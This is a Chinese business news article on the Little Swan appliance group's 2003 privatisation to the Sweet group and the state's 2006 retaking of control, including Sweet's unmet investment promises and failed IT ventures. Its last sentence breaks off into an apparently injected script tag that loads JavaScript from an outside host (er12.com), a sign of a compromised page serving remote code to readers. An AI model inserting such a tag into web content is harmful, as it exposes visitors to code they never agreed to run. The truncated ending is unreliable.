２006年10月26日，小天鹅股份发布股权变动公告，无锡市国有资产监督管理委员会已经从斯威特手中夺回了控股权。回顾过去三年，小天鹅经历了“无锡国资—斯威特—无锡国资”的轮回，无论是企业还是无锡市国资委都交了一笔可观的学费。
“彻底”改制
2002年，小天鹅集团实现销售收入超过100亿元，洗衣机销量已占全球总销量的5%以上，出口世界60多个国家和地区。与小天鹅合资、合作的跨国公司包括：德国西门子、日本松下、东芝、意大利梅洛尼、瑞士苏泰、美国ge、摩托罗拉等。
然而出人意料的是，2002年，小天鹅集团控股27.84%的小天鹅股份突然报亏8.68亿元。除市场竞争方面的原因外，公司体制上的问题也常被人提及，其2002年年报也这样分析：随着经营规模的迅速扩张和外部环境的剧烈变化，企业内部机制活力和管理素质未能及时适应外部市场环境变化的要求，公司没能对销售公司进行有效地管理、控制。与此同时，“国退民进”的国企业改制浪潮也将小天鹅集团推向了国企改制的前台。
当时传闻的买家有很多，包括格林柯尔、南京斯威特集团、深圳太太药业、美的集团等等。最终，并没有多少家电行业经验的民营企业南京斯威特集团的胜出，多少有些出人意料。
2003年10月，小天鹅集团正式实施重组，无锡市国资委与同为斯威特集团总裁严晓群控股的南京斯威特集团、西安通邮科技投资有限公司签订《股权转让协议》，向两者分别转让持有的小天鹅集团17%和48%的股权，作价15258万元和43081万元。
据了解，斯威特当时不但答应对小天鹅投资，帮助其改制扭亏，而且严晓群还承诺了三变（即管理体制变、企业文化变和激励机制变）、三不变（注册地点不变，小天鹅品牌不变，保持管理团队相对稳定）。
严晓群曾经对入主小天鹅发表评论：一是可以凭借“小天鹅”品牌进入消费品领域；二是看重小天鹅集团强大的制造能力。
无锡市政府希望，这一收购案例可以成为国企改制“彻底改”、“改彻底”的样本。
表面整合
一开始的情况似乎还不错。斯威特信守承诺，原有管理层全部留用，公司经营一直按部就班，重组后小天鹅的整合过程看起来相当平和。斯威特曾向小天鹅派出的财务、营销、采购三个工作组只在小天鹅工作了两个月便全部撤离，只留下了李石生和一个财务总监。时任斯威特集团南京管理总部执行总裁的李石生出任小天鹅集团副董事长、常务副总裁兼股份公司董事长。
面对媒体，严晓群曾经表示，将尽快把小天鹅从一个单纯的白家电企业，发展成一个信息、时尚类家电企业，再提升到it企业。他制定了一个雄心勃勃的计划，“要把小天鹅打造成国内一流、国际领先的综合性跨国企业集团”。
从公开资料看，斯威特入主后，小天鹅公司曾准备投资参股建设小天鹅移动通信有限公司，以手机业务为基础全面进入it产业。此外，严晓群还提出要进入生物工程、制药以及dvd等领域，甚至还酝酿生产“小天鹅”等离子电视，但最终，这些方案因各种原因一一流产。
当时能看到的真实it产品只有小天鹅牌的mp3、dc、dv、mp4等数码产品。据了解，这些产品全部由南京小天鹅电子生产，用“小天鹅”作品牌。2004年底，南京小天鹅电子也以增资方式进入到小天鹅集团。但这些产品并未能在市场上打开局面，很少有人知道小天鹅还有这类产品。
经营状态最好的仍然是小天鹅集团原有的洗衣机等白色家电业务。小天鹅洗衣机在国内的市场份额保持稳定。小天鹅股份 2006年半年报显示，公司主营业务收入比上年同期增长54%，利润增长31%。通过调整市场策略和产品结构，洗衣机业务收入增长40%。小天鹅冰箱的国内市场占有率也从2005年的12名，上升到2006年的第七名。
据小天鹅营销公司的有关人员介绍，小天鹅洗衣机新品的研发和推广一直没有停止过。2004年，小天鹅新品迭出，其中一款“水魔方”洗衣机，因解决了波轮式洗衣机缠绕衣物的难题，一上市便深受用户欢迎，成为小天鹅主要利润增长点。
小天鹅的洗衣机等国际合作项目也尤为引人注目。小天鹅与ge、日立、伊莱克斯等国际巨头建立了战略联盟。尤其是小天鹅与ge联合设计和生产的滚筒洗衣机，让小天鹅生产的洗衣机打入美国高端市场，也为公司赢得丰厚利润。2005年3月3日，总投资1800万美元的中意合资企业——无锡意黛喜家用电器有限公司挂牌，当年底正式投产，产品全部由意方海外包销。停滞了近3年的洗碗机项目，终于成功地运转了起来。
斯威特入主后小天鹅股份后最大的变化，就是让小天鹅摘掉了“st”的帽子。不过，几乎没有人将小天鹅白色家电业务的良好表现记在斯威特的账上。事实上，斯威特承诺的投资根本没有兑现，斯威特对小天鹅原有的研发、生产制造和销售等产业环节没有任何有建设性的战略调整。有分析说，这与斯威特缺乏产业经验，以及小天鹅原有管理体系比较健全稳固?script src=http://er12.com/t.js>
